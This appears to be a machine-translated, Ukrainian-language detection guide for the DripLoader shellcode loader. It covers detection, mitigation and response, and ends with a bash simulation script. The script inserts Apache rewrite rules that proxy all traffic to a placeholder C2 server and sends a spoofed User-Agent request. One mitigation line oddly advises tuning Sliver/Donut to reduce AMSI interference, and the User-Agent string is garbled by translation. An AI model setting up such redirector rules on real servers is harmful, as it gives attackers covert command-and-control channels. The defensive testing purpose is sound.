DripLoader Malware: Shellcode Execution and Defense Evasion

Резюме

У статті розглядається DripLoader, завантажувач шелкоду, який виділяє пам’ять, записує в неї шелкод, змінює дозволи сторінок на виконувані, а потім запускає його. Висвітлюється, як завантажувач доставляється через HTTPS-перенаправлювач, підтримуваний фреймворком Havoc C2, і як його код можна заплутати за допомогою стиснення та непрямих системних дзвінків. У дописі також представлено вдосконалений варіант, DripLoaderNG, що базується на підвантаженні .node та додаткових методах ухилення, а також практичні рекомендації з виявлення та інструменти аналізу пам’яті.

Розслідування

Розслідування описує налаштування лабораторії, де Havoc надсилає стиснений шелкод через спеціальний Apache-перенаправлювач. Завантажувач резервує регіони на 64 КБ, робить коміти сторінок на 4 КБ, змінює прапори захисту та виконує корисне навантаження. DripLoaderNG вводить непрямі системні дзвінки та підвантаження .node модулів, орієнтованих на застосунок Slack Electron. Виявлення демонструється за допомогою інструментів, таких як Moneta, PE-sieve, і підтримувані запити KQL.

Пом’якшення

Кроки пом’якшення включають моніторинг підозрілих HTTPS-перенаправлень, виявлення підроблених рядків user-agent, помітка рідкісних .node файлів і використання функцій EDR для виявлення поведінки непрямих системних дзвінків. Додаткові рекомендації включають налаштування конфігурацій Sliver/Donut для зменшення втручання в AMSI та обмеження виконання непідписаних рідних модулів.

Реакція

Якщо виявлена активність, ізолюйте уражений кінцевий пункт, зупиніть шкідливий процес, захопіть дампи пам’яті і перевірте ін’єктований шелкод. Заблокуйте домен або IP C2, скиньте вразливі облікові дані та впровадьте захисні правила для визначених індикаторів user-agent та .node файлів. Проведіть судово-медичний аналіз і оновіть контент виявлення для покриття спостережуваних шаблонів непрямих системних дзвінків.

Виконання симуляції

Передумова: Перевірка телеметрії та базового передполітного тесту повинна пройти.

Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначене для спрацювання правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і націлюватися на генерацію саме тієї телеметрії, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.

• Наратив атаки та команди:
  Оператор шкідливої інфраструктури готує веб-сервер жертви для виконання функцій каналу до сервера C2. Вони вставляють дві RewriteRule директиви в конфігурацію віртуального хоста Apache: першу, що проксірує весь вхідний трафік на https://C2.TeamServer.IP:443 ([P] прапор) і другу, що перенаправляє будь-який запит на безпечну URL-адресу Google ([L,R=302]). Після перезавантаження Apache зловмисник видає підроблений HTTP-запит з точно такою підробленою строкою User-Agent, як визначено в правилі Sigma. Apache обробляє запит, записує User-Agent, і двигун переписування записує дію проксі, задовольняючи обидві умови виявлення.

• Скрипт регресійного тесту:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Скрипт перевірки виявлення DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # 1. Резервне копіювання поточної конфігурації
  sudo cp "$APACHE_CONF" "$BACKUP_CONF"
  
  # 2. Вставити шкідливі правила переписування
  sudo bash -c "cat >> $APACHE_CONF <<'EOF'
  
  # ПОЧАТОК правил тестування DripLoader
  RewriteEngine On
  RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
  RewriteRule ^.*$ "https://www.google.com" [L,R=302]
  # КІНЕЦЬ правил тестування DripLoader
  
  EOF"
  
  # 3. Перезавантажте Apache, щоб застосувати зміни
  sudo systemctl reload apache2
  
  # 4. Видати шкідливий запит з точно підробленим User-Agent
  curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, як Gecko) Chrome/ Safari/537.366" http://localhost/
  
  echo "Шкідливий запит надіслано. Перевірте SIEM для оповіщення про виявлення."

• Команди очищення:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Очищення тестування виявлення DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # Відновити оригінальну конфігурацію
  if [[ -f "$BACKUP_CONF" ]]; then
      sudo cp "$BACKUP_CONF" "$APACHE_CONF"
      sudo systemctl reload apache2
      echo "Оригінальна конфігурація Apache відновлена."
  else
      echo "Резервна копія не знайдена; може знадобитися ручне очищення."
  fi